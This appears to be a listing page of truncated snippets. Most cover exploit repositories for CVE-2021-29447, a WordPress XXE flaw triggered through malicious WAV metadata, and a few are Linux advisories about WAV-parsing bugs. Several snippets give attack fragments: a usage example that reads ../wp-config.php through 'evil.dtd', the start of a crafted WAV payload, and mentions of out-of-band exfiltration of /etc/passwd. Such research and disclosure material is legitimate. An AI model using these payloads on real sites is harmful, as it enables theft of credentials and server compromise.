Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

Project Goal: To demonstrate a complete attack chain on a vulnerable WordPress installation, exploiting CVE-2021-29447 XXE in media library to achieve remote code execution and full system compromise. Phase 1: Reconnaissance & Enumeration Network Scanning with Nmap: bash Quick SYN scan to discove...

CVE-2021-29447

WAV iXML XXE Exploit Generator Generates malicious WAV files that exploit XXE vulnerabilities in WordPress plugins parsing iXML metadata chunks e.g., BookingPress │ Target │ └──────────┘ └──────────┘ ▲ │ │ │ 2. Parse XML │ │ │ 3. GET /xxe.dtd │ │─────────────────────────────┘ │ │ 4. GET...

CVE-2021-29447

CVE-2021-29447 Impact Arbitrary File Disclosure: the content of any file on the host’s file system could be retrieved, e.g. wp-config.php which contains sensitive data such as database credentials. Server-Side Request Forgery SSRF: HTTP requests could be made on behalf of the WordPress...

CVE-2021-29447

CVE-2021-29447 WordPress 5.6-5.7 - Authenticated Author+ XXE https://blog.wpsec.com/wordpress-xxe-in-media-library-cve-2021-29447/ usage: -l LHOST example: 127.0.0.1 -n NAME example: payload.wav -dn DTDNAME example: evil.dtd -r READ example: ../wp-config.php evil-wav-dtd-xxe.py: error: the...

Steganography

Steganography Table of Contents Installation Byte Sequence Manipulation WavSteg LSBSteg StegDetect If you are unfamiliar with steganography techniques, I have also written a basic overview of the field in Steganography: Hiding Data Inside Data. Installation This project is on PyPI and can be...

blind-xxe-controller-CVE-2021-29447

Blind XXE controller I make this controller on doing metatwo machine in HackTheBox to exploiting CVE-2021-29447 which Is a WordPress XXE Vulnerability in Media Library affected version 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. where an authenticated user with ability to upload media library can upload...

CVE-2021-29447-POC

CVE-2021-29447-POC About This script automates the required steps to exploit CVE-2021-29447 in the media upload funnctionality in Wordpress and use it to extract files vi an XXE. Usage ./generatepayloads.py --help usage: generatepayloads.py -h --local-ip LOCALIP --local-port LOCALPORT...

CVE-2021-29447

Installation and Execution Sequence 0. Run Docker $docker-compose up 1. Execute wordpress.sh Configure the wp-config.php file before installing WordPress. $docker exec -it -u root wordpress /bin/bash -c "/usr/local/bin/wordpress.sh" 2. Install WordPress Access the WordPress site uploaded to the...

CVE-2021-29447-Authenticated-XXE-WordPress-5.6-5.7

CVE-2021-29447 Authenticated XXE Exploit for WordPress 🎯 A Python PoC to exploit the authenticated XXE vulnerability CVE-2021-29447 in WordPress versions 5.6–5.7 via WAV metadata. It abuses the iXML chunk in WAV files to trigger an Out-of-Band OOB exfiltration of sensitive data—like /etc/passwd,...

CVE-2021-29447

CVE-2021-29447 - WordPress XXE Vulnerability Exploit Description This repository contains an exploit for CVE-2021-29447, an XXE XML External Entity vulnerability present in WordPress 5.7.0 and earlier versions. The vulnerability exists in the media library that processes WAV files, allowing an...

demo-CVE-2021-29447-lezione

POC CVE-2021029447 - XXE in WordPress WordPress 5.6-5.7 - Authenticated Author+ XXE CVE-2021-29447 https://vulners.com/cve/CVE-2021-29447 Using Step1. Run WordPress $ make up-wp Step2. Run Attacker web server $ make up-mal Step3. Generate malicious WAV file With wavefile npm $ make make-wav Step4...

Public_Exploit-1--Wordpress-CVE-2021-29447

PublicExploit-1--Wordpress-CVE-2021-29447 CVE-2021-29447 est une vulnérabilité XXE XML External Entity authentifiée dans WordPress La vulnérabilité existe dans la bibliothèque de médias de WordPress lorsque WordPress fonctionne sur PHP 8 et que l'utilisateur dispose de la permission de téléverser...

cve-2021-29447_auto-script

CVE-2021-29447: WordPress Media Library XXE Vulnerability This repository details the CVE-2021-29447 vulnerability, a critical security flaw in WordPress that allowed for authenticated XML External Entity XXE attacks through the Media Library. It also provides an automatic script that demonstrate...

Astra Linux – Vulnerability in SOX

A floating-point exception division by zero issue was discovered in SoX during the execution of the startread function in the wav.c file. An attacker who possesses a malicious wav file could cause the application to crash...

CVE-2021-29447-PoC

CVE-2021-29447-PoC Aperçu CVE-2021-29447 est une vulnérabilité d'injection XML External Entity XXE affectant les versions 5.6 à 5.7 de WordPress corrigée dans la 5.7.1 lors de l'exécution de PHP 8.0+. La vulnérabilité réside dans la bibliothèque getID3 utilisée pour l'analyse des métadonnées...

CVE-2021-29447

WordPress 5.6-5.7 - Authenticated Author+ XXE CVE-2021-29447 Using Step1. Run WordPress $ make up-wp Step2. Run Attacker web server $ make up-mal Step3. Generate malicious WAV file Without wavefile npm Recommend $ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00%remote;%init;%trick; \x00'...

Ubuntu 14.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 26.04 LTS : GStreamer Bad Plugins vulnerability (USN-8855-1)

The remote Ubuntu 14.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 26.04 LTS host has packages installed that are affected by a vulnerability as referenced in the USN-8855-1 advisory. It was discovered that GStreamer Bad Plugins incorrectly validated the size of multi-channel audio...

AlmaLinux 9.2 [TuxCare] Security Update: libsndfile / libsndfile-devel / libsndfile-utils (ALMALINUX9.2:CLSA-2026:1780592196)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1780592196 advisory. - An issue was discovered in libsndfile 1.2.2 IMA ADPCM codec. The AIFF code path line 241 was fixed with sfcountt cast, but the WAV code pat...

AlmaLinux 9.2 [TuxCare] Security Update: taglib / taglib-devel (ALMALINUX9.2:CLSA-2025:1754552791)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1754552791 advisory. - TagLib before 2.0 allows a segmentation violation and application crash during tag writing via a crafted WAV file in which an id3 chunk is...

Rocky Linux 9.6 [TuxCare] Security Update: libsndfile / libsndfile-devel / libsndfile-utils (ALMALINUX9.6:CLSA-2026:1780515309)

The Rocky Linux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1780515309 advisory. - An issue was discovered in libsndfile 1.2.2 IMA ADPCM codec. The AIFF code path line 241 was fixed with sfcountt cast, but the WAV code...